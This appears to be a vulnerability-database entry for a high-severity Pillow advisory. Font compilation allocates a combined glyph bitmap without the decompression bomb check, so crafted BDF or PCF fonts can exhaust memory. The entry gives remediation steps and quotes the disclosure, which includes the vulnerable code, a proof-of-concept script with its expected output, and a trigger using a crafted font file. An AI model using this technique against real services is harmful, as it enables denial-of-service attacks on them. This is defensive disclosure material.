CVE-2026-54060: Pillow `FontFile.compile()`: `Image.new()` Called Without `_decompression_bomb_check()` Vulnerability

HIGH
Advisory Identifier: GHSA-5x94-69rx-g8h2
CVSS 7.5
CWE-789
Published
Advisory Summary

CVE-2026-54060 is a HIGH (CVSS 7.5) `fontfile.compile()`: `image.new()` called without `_decompression_bomb_check()` vulnerability (CWE-789: Memory Allocation with Excessive Size Value) affecting Pillow libraries in the PyPI ecosystem. The issue involves `fontfile.compile()`: `image.new()` called without `_decompression_bomb_check()`. Remediation is available by upgrading affected packages to version 12.3.0.

CVE-2026-54060 at a Glance

CVE Identifier CVE-2026-54060
GHSA Identifier GHSA-5x94-69rx-g8h2
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-789: Memory Allocation with Excessive Size Value
Affected Product Pillow
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-54060

To remediate this vulnerability, upgrade all affected Pillow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pillow fixed: 12.3.0
pip install pillow>=12.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pillow

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-54060, inspect your installed packages using pip:

pip show pillow

Analyze the terminal output to locate any version of Pillow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.0), your application is affected.

Note: The pip show pillow command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-789: Memory Allocation with Excessive Size Value, where the product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. In Pillow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description `PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a single combined bitmap using `Image.new("1", (xsize, ysize))` without calling `Image._decompression_bomb_check()`. This is the base-class method shared by both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded font is converted to an `ImageFont` or saved. Neither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is registered with `Image.register_open()`, so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check. **Vulnerable code (`PIL/FontFile.py` lines ~64–92):** ```python def compile(self) -> None: if self.bitmap: return h = w = maxwidth = 0 lines = 1 for glyph in self.glyph: # up to 256 glyph slots if glyph: d, dst, src, im = glyph h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled w = w + (src[2] - src[0]) if w > WIDTH: # WIDTH = 800 lines += 1 w = src[2] - src[0] maxwidth = max(maxwidth, w) xsize = maxwidth # ≤ 800 (capped by WIDTH constant) ysize = lines * h # ← lines(256) × h(65535) = 16,776,960 if xsize == 0 and ysize == 0: return self.ysize = h # NO _decompression_bomb_check() here ← self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation ``` **"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:** | Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) | |---|---|---| | Pixel count | 700,000 | **179,200,000** | | DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** | 2.0× — above warning | | DecompressionBombError threshold (178.9M) | 0.004× — **no error** | **1.001× — above error** | With PCF-maximum glyph height (65,535): | Metric | Value | |---|---| | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) | | h (max glyph height) | 65,535 | | xsize | 800 | | ysize = lines × h | 256 × 65,535 = **16,776,960** | | **Total pixels** | 800 × 16,776,960 = **13,421,568,000** | | **Ratio vs. DecompressionBombError threshold** | **75×** | | Memory (mode "1", 1 bit/pixel) | **~1.6 GB** | ## Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 """ PoC: FontFile.compile() bomb bypass 256 glyphs at 800x875 each (individually below warning threshold) → compile() creates 800x224000 = 179.2M px bitmap with NO bomb check """ from PIL import FontFile, Image MAX_GLYPHS = 256 GLYPH_W = 800 GLYPH_H = 875 # individual: 700K px — below 89.4M warning threshold class MockFont(FontFile.FontFile): def __init__(self): super().__init__() # Each glyph is individually safe (700K px < 89.4M warning) im = Image.new("1", (GLYPH_W, GLYPH_H)) for i in range(MAX_GLYPHS): self.glyph[i] = ( (GLYPH_W, GLYPH_H), (0, -GLYPH_H, GLYPH_W, 0), (0, 0, GLYPH_W, GLYPH_H), im, ) # Confirm bomb check WOULD catch the combined size combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H) try: Image._decompression_bomb_check(combined_size) print("[FAIL] bomb check did not raise — unexpected") except Image.DecompressionBombError as e: print(f"[OK] bomb check WOULD block {combined_size}: {e}") # Vulnerable path: compile() has NO bomb check font = MockFont() font.compile() # → Image.new("1", (800, 224000)) — no error raised px = font.bitmap.size[0] * font.bitmap.size[1] threshold = Image.MAX_IMAGE_PIXELS * 2 print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}") print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)") print(f" No DecompressionBombError raised at any point.") ``` **Expected output:** ``` [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] compile() succeeded: bitmap=(800, 224000) pixels=179,200,000 (1.001× DecompressionBombError threshold) No DecompressionBombError raised at any point. ``` **Verified live on Pillow 12.2.0 — compile() succeeds with no exception.** **Real-world trigger using BDF font file:** ```python from PIL import BdfFontFile import io # Load a crafted BDF font with 256 glyphs each claiming height=65535 # (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning) # compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb")) font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check ``` **Attack scenarios:** | Scenario | Effect | |---|---| | Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload | | Server-side font renderer that loads PCF → `to_imagefont()` | OOM crash | | Font pipeline: load → render text | One malicious font file kills the process | ## Impact - **Availability:** HIGH — `compile()` creates a combined bitmap whose pixel count scales as `WIDTH × lines × max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory. - **Confidentiality:** None - **Integrity:** None **Affected call paths:** - `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()` - `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()` Neither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check. Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.

CVE-2026-54060 Affected Pillow Versions

1 component(s)
Fixed Versions:
12.3.0
Product / Package Ecosystem Affected Versions Fixed Version
pillow
PyPI
< 12.3.0
12.3.0

References

Frequently Asked Questions

What is CVE-2026-54060?
CVE-2026-54060 is a security vulnerability in Pillow involving `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()` under CWE-789: Memory Allocation with Excessive Size Value.
Which Pillow versions are affected?
Affected versions include releases prior to 12.3.0 across affected packages: pillow.
What version fixes CVE-2026-54060?
Upgrading to 12.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pillow affected?
Yes, pillow is affected in releases prior to 12.3.0. Upgrade your dependency to 12.3.0 or later.
What is the CVSS score of CVE-2026-54060?
CVE-2026-54060 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-54060?
CVE-2026-54060 is classified under CWE-789: Memory Allocation with Excessive Size Value (The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.).
How can I check PyPI dependencies for CVE-2026-54060?
Run the dependency tree command: 'pip show pillow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5x94-69rx-g8h2",
  "modified" : "2026-07-20T21:08:40Z",
  "published" : "2026-07-20T21:08:40Z",
  "aliases" : [ "CVE-2026-54060" ],
  "summary" : "Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`",
  "details" : "## Description\n\n`PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a single combined bitmap using `Image.new(\"1\", (xsize, ysize))` without calling `Image._decompression_bomb_check()`. This is the base-class method shared by both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded font is converted to an `ImageFont` or saved.\n\nNeither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is registered with `Image.register_open()`, so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.\n\n**Vulnerable code (`PIL/FontFile.py` lines ~64–92):**\n\n```python\ndef compile(self) -> None:\n    if self.bitmap:\n        return\n\n    h = w = maxwidth = 0\n    lines = 1\n    for glyph in self.glyph:              # up to 256 glyph slots\n        if glyph:\n            d, dst, src, im = glyph\n            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled\n            w = w + (src[2] - src[0])\n            if w > WIDTH:                  # WIDTH = 800\n                lines += 1\n                w = src[2] - src[0]\n            maxwidth = max(maxwidth, w)\n\n    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)\n    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960\n\n    if xsize == 0 and ysize == 0:\n        return\n\n    self.ysize = h\n    # NO _decompression_bomb_check() here ←\n    self.bitmap = Image.new(\"1\", (xsize, ysize))   # ← unchecked allocation\n```\n\n**\"Slow accumulation\" attack — per-glyph dimensions stay BELOW warning threshold:**\n\n| Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) |\n|---|---|---|\n| Pixel count | 700,000 | **179,200,000** |\n| DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** | 2.0× — above warning |\n| DecompressionBombError threshold (178.9M) | 0.004× — **no error** | **1.001× — above error** |\n\nWith PCF-maximum glyph height (65,535):\n\n| Metric | Value |\n|---|---|\n| lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) |\n| h (max glyph height) | 65,535 |\n| xsize | 800 |\n| ysize = lines × h | 256 × 65,535 = **16,776,960** |\n| **Total pixels** | 800 × 16,776,960 = **13,421,568,000** |\n| **Ratio vs. DecompressionBombError threshold** | **75×** |\n| Memory (mode \"1\", 1 bit/pixel) | **~1.6 GB** |\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: FontFile.compile() bomb bypass\n256 glyphs at 800x875 each (individually below warning threshold)\n→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check\n\"\"\"\nfrom PIL import FontFile, Image\n\nMAX_GLYPHS = 256\nGLYPH_W    = 800\nGLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold\n\nclass MockFont(FontFile.FontFile):\n    def __init__(self):\n        super().__init__()\n        # Each glyph is individually safe (700K px < 89.4M warning)\n        im = Image.new(\"1\", (GLYPH_W, GLYPH_H))\n        for i in range(MAX_GLYPHS):\n            self.glyph[i] = (\n                (GLYPH_W, GLYPH_H),\n                (0, -GLYPH_H, GLYPH_W, 0),\n                (0, 0,        GLYPH_W, GLYPH_H),\n                im,\n            )\n\n# Confirm bomb check WOULD catch the combined size\ncombined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)\ntry:\n    Image._decompression_bomb_check(combined_size)\n    print(\"[FAIL] bomb check did not raise — unexpected\")\nexcept Image.DecompressionBombError as e:\n    print(f\"[OK] bomb check WOULD block {combined_size}: {e}\")\n\n# Vulnerable path: compile() has NO bomb check\nfont = MockFont()\nfont.compile()   # → Image.new(\"1\", (800, 224000)) — no error raised\n\npx = font.bitmap.size[0] * font.bitmap.size[1]\nthreshold = Image.MAX_IMAGE_PIXELS * 2\nprint(f\"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}\")\nprint(f\"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)\")\nprint(f\"         No DecompressionBombError raised at any point.\")\n```\n\n**Expected output:**\n```\n[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit\nof 178956970 pixels, could be decompression bomb DOS attack.\n[BYPASS] compile() succeeded: bitmap=(800, 224000)\n         pixels=179,200,000  (1.001× DecompressionBombError threshold)\n         No DecompressionBombError raised at any point.\n```\n\n**Verified live on Pillow 12.2.0 — compile() succeeds with no exception.**\n\n**Real-world trigger using BDF font file:**\n```python\nfrom PIL import BdfFontFile\nimport io\n\n# Load a crafted BDF font with 256 glyphs each claiming height=65535\n# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)\n# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold\nfont = BdfFontFile.BdfFontFile(open(\"crafted_256glyph.bdf\", \"rb\"))\nfont.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check\n```\n\n**Attack scenarios:**\n\n| Scenario | Effect |\n|---|---|\n| Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload |\n| Server-side font renderer that loads PCF → `to_imagefont()` | OOM crash |\n| Font pipeline: load → render text | One malicious font file kills the process |\n\n## Impact\n\n- **Availability:** HIGH — `compile()` creates a combined bitmap whose pixel count scales as `WIDTH × lines × max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.\n- **Confidentiality:** None\n- **Integrity:** None\n\n**Affected call paths:**\n- `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()`\n- `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()`\n\nNeither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pillow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "12.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54060"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/python-pillow/Pillow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-789" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T21:08:40Z",
    "nvd_published_at" : "2026-07-06T19:17:08Z"
  }
}